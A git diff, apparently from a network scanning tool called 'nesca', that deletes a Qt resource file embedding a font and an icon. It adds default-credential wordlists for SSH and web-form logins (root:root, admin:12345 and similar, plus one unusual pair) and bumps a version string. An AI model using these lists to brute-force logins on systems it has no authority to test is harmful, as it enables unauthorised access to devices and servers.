0x4,0x0,0x12,0x4,0x7b,0x0,0x3,0x0,0x1,0xc,0xa,0x0,0x2,0x0,0xc,0x4, - 0x8d,0x0,0x3,0x0,0x1,0xc,0xa,0x0,0x4,0x0,0x12,0x4,0x99,0x0,0x3,0x0, - 0x1,0xc,0xc,0x0,0x2,0x0,0xc,0x4,0xab,0x0,0x3,0x0,0x1,0xc,0xc,0x0, - 0x4,0x0,0x12,0x4,0xb7,0x54,0x79,0x70,0x65,0x66,0x61,0x63,0x65,0x20,0xa9,0x20, - 0x31,0x39,0x39,0x32,0x20,0x46,0x6f,0x6e,0x64,0x65,0x72,0x69,0x61,0x20,0x43,0x61, - 0x72,0x61,0x74,0x74,0x65,0x72,0x69,0x20,0x53,0x76,0x69,0x7a,0x7a,0x65,0x72,0x61, - 0x20,0x57,0x61,0x6c,0x74,0x65,0x72,0x20,0x46,0x72,0x75,0x74,0x74,0x69,0x67,0x65, - 0x72,0x20,0x41,0x2e,0x47,0x2e,0x20,0x44,0x61,0x74,0x61,0x20,0xa9,0x20,0x31,0x39, - 0x39,0x32,0x20,0x55,0x52,0x57,0x2e,0x20,0x50,0x6f,0x72,0x74,0x69,0x6f,0x6e,0x73, - 0x20,0xa9,0x20,0x31,0x39,0x39,0x32,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66, - 0x74,0x20,0x43,0x6f,0x72,0x70,0x2e,0x20,0x41,0x6c,0x6c,0x20,0x72,0x69,0x67,0x68, - 0x74,0x73,0x20,0x72,0x65,0x73,0x65,0x72,0x76,0x65,0x64,0x2e,0x45,0x75,0x72,0x6f, - 0x73,0x74,0x69,0x6c,0x65,0x52,0x65,0x67,0x75,0x6c,0x61,0x72,0x45,0x75,0x72,0x6f, - 0x73,0x74,0x69,0x6c,0x65,0x45,0x75,0x72,0x6f,0x73,0x74,0x69,0x6c,0x65,0x56,0x65, - 0x72,0x73,0x69,0x6f,0x6e,0x20,0x31,0x2e,0x31,0x30,0x45,0x75,0x72,0x6f,0x73,0x74, - 0x69,0x6c,0x65,0x52,0x65,0x67,0x75,0x6c,0x61,0x72,0x45,0x75,0x72,0x6f,0x73,0x74, - 0x69,0x6c,0x65,0x20,0x69,0x73,0x20,0x61,0x20,0x6c,0x69,0x63,0x65,0x6e,0x73,0x65, - 0x64,0x20,0x74,0x72,0x61,0x64,0x65,0x6d,0x61,0x72,0x6b,0x20,0x6f,0x66,0x20,0x46, - 0x6f,0x6e,0x64,0x65,0x72,0x69,0x61,0x20,0x43,0x61,0x72,0x61,0x74,0x74,0x65,0x72, - 0x69,0x20,0x53,0x76,0x69,0x7a,0x7a,0x65,0x72,0x61,0x20,0x57,0x61,0x6c,0x74,0x65, - 0x72,0x20,0x46,0x72,0x75,0x74,0x74,0x69,0x67,0x65,0x72,0x20,0x41,0x2e,0x47,0x2e, - 0x0,0x6e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75, - 0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x53, - 0x0,0x74,0x0,0x61,0x0,0x6e,0x0,0x64,0x0,0x61,0x0,0x72,0x0,0x64,0x0,0x45, - 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, - 0x0,0x54,0x0,0x79,0x0,0x70,0x0,0x65,0x0,0x66,0x0,0x61,0x0,0x63,0x0,0x65, - 0x0,0x20,0x0,0xa9,0x0,0x20,0x0,0x31,0x0,0x39,0x0,0x39,0x0,0x32,0x0,0x20, - 0x0,0x46,0x0,0x6f,0x0,0x6e,0x0,0x64,0x0,0x65,0x0,0x72,0x0,0x69,0x0,0x61, - 0x0,0x20,0x0,0x43,0x0,0x61,0x0,0x72,0x0,0x61,0x0,0x74,0x0,0x74,0x0,0x65, - 0x0,0x72,0x0,0x69,0x0,0x20,0x0,0x53,0x0,0x76,0x0,0x69,0x0,0x7a,0x0,0x7a, - 0x0,0x65,0x0,0x72,0x0,0x61,0x0,0x20,0x0,0x57,0x0,0x61,0x0,0x6c,0x0,0x74, - 0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x46,0x0,0x72,0x0,0x75,0x0,0x74,0x0,0x74, - 0x0,0x69,0x0,0x67,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x41,0x0,0x2e,0x0,0x47, - 0x0,0x2e,0x0,0x20,0x0,0x44,0x0,0x61,0x0,0x74,0x0,0x61,0x0,0x20,0x0,0xa9, - 0x0,0x20,0x0,0x31,0x0,0x39,0x0,0x39,0x0,0x32,0x0,0x20,0x0,0x55,0x0,0x52, - 0x0,0x57,0x0,0x2e,0x0,0x20,0x0,0x50,0x0,0x6f,0x0,0x72,0x0,0x74,0x0,0x69, - 0x0,0x6f,0x0,0x6e,0x0,0x73,0x0,0x20,0x0,0xa9,0x0,0x20,0x0,0x31,0x0,0x39, - 0x0,0x39,0x0,0x32,0x0,0x20,0x0,0x4d,0x0,0x69,0x0,0x63,0x0,0x72,0x0,0x6f, - 0x0,0x73,0x0,0x6f,0x0,0x66,0x0,0x74,0x0,0x20,0x0,0x43,0x0,0x6f,0x0,0x72, - 0x0,0x70,0x0,0x2e,0x0,0x20,0x0,0x41,0x0,0x6c,0x0,0x6c,0x0,0x20,0x0,0x72, - 0x0,0x69,0x0,0x67,0x0,0x68,0x0,0x74,0x0,0x73,0x0,0x20,0x0,0x72,0x0,0x65, - 0x0,0x73,0x0,0x65,0x0,0x72,0x0,0x76,0x0,0x65,0x0,0x64,0x0,0x2e,0x0,0x45, - 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, - 0x0,0x52,0x0,0x65,0x0,0x67,0x0,0x75,0x0,0x6c,0x0,0x61,0x0,0x72,0x0,0x45, - 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, - 0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c, - 0x0,0x65,0x0,0x56,0x0,0x65,0x0,0x72,0x0,0x73,0x0,0x69,0x0,0x6f,0x0,0x6e, - 0x0,0x20,0x0,0x31,0x0,0x2e,0x0,0x31,0x0,0x30,0x0,0x45,0x0,0x75,0x0,0x72, - 0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x52,0x0,0x65, - 0x0,0x67,0x0,0x75,0x0,0x6c,0x0,0x61,0x0,0x72,0x0,0x45,0x0,0x75,0x0,0x72, - 0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x20,0x0,0x69, - 0x0,0x73,0x0,0x20,0x0,0x61,0x0,0x20,0x0,0x6c,0x0,0x69,0x0,0x63,0x0,0x65, - 0x0,0x6e,0x0,0x73,0x0,0x65,0x0,0x64,0x0,0x20,0x0,0x74,0x0,0x72,0x0,0x61, - 0x0,0x64,0x0,0x65,0x0,0x6d,0x0,0x61,0x0,0x72,0x0,0x6b,0x0,0x20,0x0,0x6f, - 0x0,0x66,0x0,0x20,0x0,0x46,0x0,0x6f,0x0,0x6e,0x0,0x64,0x0,0x65,0x0,0x72, - 0x0,0x69,0x0,0x61,0x0,0x20,0x0,0x43,0x0,0x61,0x0,0x72,0x0,0x61,0x0,0x74, - 0x0,0x74,0x0,0x65,0x0,0x72,0x0,0x69,0x0,0x20,0x0,0x53,0x0,0x76,0x0,0x69, - 0x0,0x7a,0x0,0x7a,0x0,0x65,0x0,0x72,0x0,0x61,0x0,0x20,0x0,0x57,0x0,0x61, - 0x0,0x6c,0x0,0x74,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x46,0x0,0x72,0x0,0x75, - 0x0,0x74,0x0,0x74,0x0,0x69,0x0,0x67,0x0,0x65,0x0,0x72,0x0,0x20,0x0,0x41, - 0x0,0x2e,0x0,0x47,0x0,0x2e,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61, - 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, - 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x61, - 0x0,0x6c,0x0,0x69,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74, - 0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61, - 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, - 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c, - 0x0,0x65,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, - 0x0,0x6c,0x0,0x65,0x0,0x53,0x0,0x74,0x0,0x61,0x0,0x6e,0x0,0x64,0x0,0x61, - 0x0,0x61,0x0,0x72,0x0,0x64,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73, - 0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d, - 0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74, - 0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61, - 0x0,0x6c,0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69, - 0x0,0x6c,0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c, - 0x0,0x45,0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c, - 0x0,0x65,0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45, - 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65, - 0x0,0x4e,0x0,0x6f,0x0,0x72,0x0,0x6d,0x0,0x61,0x0,0x6c,0x0,0x45,0x0,0x75, - 0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x0, - 0x2,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x37,0x0,0x82,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1, - 0xe,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x0,0x0,0x0,0x24,0x0,0x25,0x0, - 0x26,0x0,0x27,0x0,0x28,0x0,0x29,0x0,0x2a,0x0,0x2b,0x0,0x2c,0x0,0x2d,0x0, - 0x2e,0x0,0x2f,0x0,0x30,0x0,0x31,0x0,0x32,0x0,0x33,0x0,0x34,0x0,0x35,0x0, - 0x36,0x0,0x37,0x0,0x38,0x0,0x39,0x0,0x3a,0x0,0x3b,0x0,0x3c,0x0,0x3d,0x0, - 0x90,0x0,0xb0,0x0,0x91,0x0,0x64,0x0,0x44,0x0,0x45,0x0,0x46,0x0,0x47,0x0, - 0x48,0x0,0x49,0x0,0x4a,0x0,0x4b,0x0,0x4c,0x0,0x4d,0x0,0x4e,0x0,0x4f,0x0, - 0x50,0x0,0x51,0x0,0x52,0x0,0x53,0x0,0x54,0x0,0x55,0x0,0x56,0x0,0x57,0x0, - 0x58,0x0,0x59,0x0,0x5a,0x0,0x5b,0x0,0x5c,0x0,0x5d,0x0,0xa0,0x0,0xb1,0x0, - 0xa1,0x0,0x89,0x0,0xd7,0x0,0xc0,0x0,0xc1,0x0,0x6f,0x0,0x14,0x0,0x15,0x0, - 0x16,0x0,0x17,0x0,0x18,0x0,0x19,0x0,0x1a,0x0,0x1b,0x0,0x1c,0x0,0x13,0x0, - 0x85,0x0,0x7,0x0,0x84,0x0,0xa6,0x0,0x96,0x0,0x11,0x0,0x1d,0x1,0x2,0x0, - 0xab,0x0,0xf,0x0,0x1e,0x0,0xb6,0x0,0xb5,0x0,0xb4,0x0,0xc5,0x0,0x4,0x0, - 0xa3,0x0,0x22,0x0,0xa2,0x0,0xaa,0x0,0xa9,0x0,0xbf,0x0,0xbe,0x0,0x12,0x0, - 0x10,0x0,0xb2,0x0,0xb3,0x0,0xb,0x0,0xc,0x0,0x3e,0x0,0x40,0x0,0x9,0x0, - 0x86,0x0,0x82,0x0,0xc2,0x0,0xd,0x0,0xa,0x0,0x5,0x0,0x23,0x0,0x6,0x0, - 0x83,0x0,0xe,0x0,0xb8,0x0,0x20,0x0,0x8c,0x0,0x88,0x0,0xbd,0x0,0xc4,0x0, - 0xb7,0x0,0x5e,0x0,0x60,0x0,0x9d,0x0,0x9e,0x0,0x93,0x0,0xbc,0x0,0x8,0x0, - 0xc6,0x0,0x3f,0x0,0x8e,0x0,0xdc,0x0,0xdd,0x0,0x8d,0x0,0x43,0x0,0xd8,0x0, - 0xe1,0x0,0xdb,0x0,0xd9,0x0,0xdf,0x0,0xde,0x0,0xe0,0x1,0x3,0x0,0x8b,0x0, - 0x8a,0x0,0x87,0x0,0xb9,0x1,0x4,0x0,0x8f,0x0,0xa5,0x0,0x9c,0x0,0xa7,0x0, - 0x1f,0x0,0x21,0x0,0x94,0x0,0x95,0x0,0xa4,0x0,0x92,0x0,0x9a,0x0,0x99,0x0, - 0x98,0x0,0x41,0x0,0x5f,0x0,0x42,0x0,0x9b,0x0,0x61,0x0,0x97,0x0,0x9f,0x0, - 0x62,0x0,0xc9,0x0,0xad,0x0,0xc7,0x0,0xae,0x0,0x63,0x0,0xca,0x0,0x65,0x0, - 0xcb,0x0,0xc8,0x0,0xce,0x0,0xcc,0x0,0xcf,0x0,0xcd,0x0,0x66,0x0,0x67,0x0, - 0xd0,0x0,0xd3,0x0,0xd1,0x0,0xaf,0x0,0x68,0x0,0xd4,0x0,0xd6,0x0,0xd5,0x0, - 0xbb,0x0,0x6c,0x0,0x69,0x0,0x6a,0x0,0x6b,0x0,0x6d,0x0,0x6e,0x0,0x73,0x0, - 0x70,0x0,0x71,0x0,0x72,0x0,0x77,0x0,0x74,0x0,0x75,0x0,0x76,0x0,0x78,0x0, - 0x7c,0x0,0x79,0x0,0x7a,0x0,0x7b,0x0,0x7d,0x0,0x81,0x0,0x7e,0x0,0x7f,0x0, - 0x80,0x0,0xba,0x0,0xe9,0x0,0xed,0x0,0xea,0x0,0xee,0x0,0xf1,0x0,0xf2,0x0, - 0xf3,0x0,0xf0,0x0,0xf4,0x0,0xf5,0x0,0xf6,0x0,0xe8,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0x0,0x0,0x0,0x0,0xe4,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0, - 0x0,0x0,0xeb,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xe5,0x0,0xec,0xe,0x70,0x65, - 0x72,0x69,0x6f,0x64,0x63,0x65,0x6e,0x74,0x65,0x72,0x65,0x64,0x6,0x6d,0x61,0x63, - 0x72,0x6f,0x6e,0x5,0x44,0x65,0x6c,0x74,0x61,0x0,0x0,0x40,0xa,0x3,0x3,0x2, - 0x2,0x1,0x1,0x0,0x0,0x0,0x30,0xb8,0x1,0x24,0x85,0x1d,0x13,0x0,0x3f,0x3f, - 0x3f,0x3f,0x1, - - 0x0,0x0,0x0,0x91, - 0x0, - 0x0,0x4,0x7e,0x78,0x9c,0x63,0x60,0x60,0x4,0x42,0x1,0x1,0x6,0x20,0xa9,0xc0, - 0x90,0xc1,0xc2,0xc0,0x20,0xc6,0xc0,0xc0,0xa0,0x1,0xc4,0x40,0x21,0xa0,0x8,0x44, - 0x1c,0x6,0x84,0xb9,0x21,0x98,0x0,0xf8,0x8f,0x3,0x93,0xab,0x8f,0x18,0x73,0x50, - 0xd4,0xa0,0x3,0x2,0x66,0xe0,0xd4,0x47,0xc0,0x1c,0x14,0xfd,0xb8,0xd4,0xe2,0x31, - 0x3,0xa7,0xdd,0x24,0xfa,0x5,0xbb,0xbd,0xeb,0x70,0xfb,0x9,0x97,0x7e,0x64,0xbd, - 0x30,0xfd,0xc4,0x60,0x6a,0xe9,0x27,0xd7,0xfd,0x14,0x84,0x1f,0xa5,0xf1,0x47,0x8d, - 0xf4,0xc3,0xc0,0x80,0xc7,0x2f,0x38,0xfc,0x8b,0xd,0x50,0x92,0x7f,0x88,0x31,0x7, - 0x3,0xfc,0x90,0x67,0x60,0x78,0xc0,0xce,0xc0,0x70,0x80,0x99,0x81,0xa1,0x81,0x11, - 0x82,0x71,0x1,0x98,0x3c,0x48,0x2d,0x48,0xf,0x48,0x2f,0x0,0xc0,0xb0,0xbf,0x70, - - -}; - -static const unsigned char qt_resource_name[] = { - // nesca_3 - 0x0,0x7, - 0x4,0xc9,0x97,0xc3, - 0x0,0x6e, - 0x0,0x65,0x0,0x73,0x0,0x63,0x0,0x61,0x0,0x5f,0x0,0x33, - // Eurostile.ttf - 0x0,0xd, - 0x9,0xb6,0x8f,0xc6, - 0x0,0x45, - 0x0,0x75,0x0,0x72,0x0,0x6f,0x0,0x73,0x0,0x74,0x0,0x69,0x0,0x6c,0x0,0x65,0x0,0x2e,0x0,0x74,0x0,0x74,0x0,0x66, - // nesca.ico - 0x0,0x9, - 0x9,0x94,0xa6,0x1f, - 0x0,0x6e, - 0x0,0x65,0x0,0x73,0x0,0x63,0x0,0x61,0x0,0x2e,0x0,0x69,0x0,0x63,0x0,0x6f, - -}; - -static const unsigned char qt_resource_struct[] = { - // : - 0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x1, - // :/nesca_3 - 0x0,0x0,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x2, - // :/nesca_3/nesca.ico - 0x0,0x0,0x0,0x34,0x0,0x1,0x0,0x0,0x0,0x1,0x0,0x0,0x94,0xe8, - // :/nesca_3/Eurostile.ttf - 0x0,0x0,0x0,0x14,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,0x0,0x0, - -}; - -QT_BEGIN_NAMESPACE - -extern Q_CORE_EXPORT bool qRegisterResourceData - (int, const unsigned char *, const unsigned char *, const unsigned char *); - -extern Q_CORE_EXPORT bool qUnregisterResourceData - (int, const unsigned char *, const unsigned char *, const unsigned char *); - -QT_END_NAMESPACE - - -int QT_MANGLE_NAMESPACE(qInitResources_nesca_3)() -{ - QT_PREPEND_NAMESPACE(qRegisterResourceData) - (0x01, qt_resource_struct, qt_resource_name, qt_resource_data); - return 1; -} - -Q_CONSTRUCTOR_FUNCTION(QT_MANGLE_NAMESPACE(qInitResources_nesca_3)) - -int QT_MANGLE_NAMESPACE(qCleanupResources_nesca_3)() -{ - QT_PREPEND_NAMESPACE(qUnregisterResourceData) - (0x01, qt_resource_struct, qt_resource_name, qt_resource_data); - return 1; -} - -Q_DESTRUCTOR_FUNCTION(QT_MANGLE_NAMESPACE(qCleanupResources_nesca_3)) - diff --git a/sshpass.txt b/sshpass.txt index e69de29..b9045a0 100644 --- a/sshpass.txt +++ b/sshpass.txt @@ -0,0 +1,29 @@ +hw230f8034t:17932yhf823 +admin: +root:root +root:admin +admin:admin +admin:root +backup:backup +guest:guest +root:master +root:1234 +admin:master +admin:111111 +root:12345 +root:123456 +admin:1234 +admin:12345 +root:12345678 +root:123123 +admin:123456 +admin:12345678 +root:654321 +admin:123123 +admin:654321 +root:password +admin:pasword +root:1qazXSW@ +test:test +: +user:user \ No newline at end of file diff --git a/version b/version index 819d288..99d0f7b 100644 --- a/version +++ b/version @@ -1 +1 @@ -24BE5-713 \ No newline at end of file +24D18-81 \ No newline at end of file diff --git a/wflogin.txt b/wflogin.txt index e69de29..e0ec224 100644 --- a/wflogin.txt +++ b/wflogin.txt @@ -0,0 +1,3 @@ +[FAIL] +admin +root \ No newline at end of file diff --git a/wfpass.txt b/wfpass.txt index e69de29..8a35d09 100644 --- a/wfpass.txt +++ b/wfpass.txt @@ -0,0 +1,10 @@ +[FAIL] +admin +root +pass +password +toor +123123 +123456 +12345 +qwerty \ No newline at end of file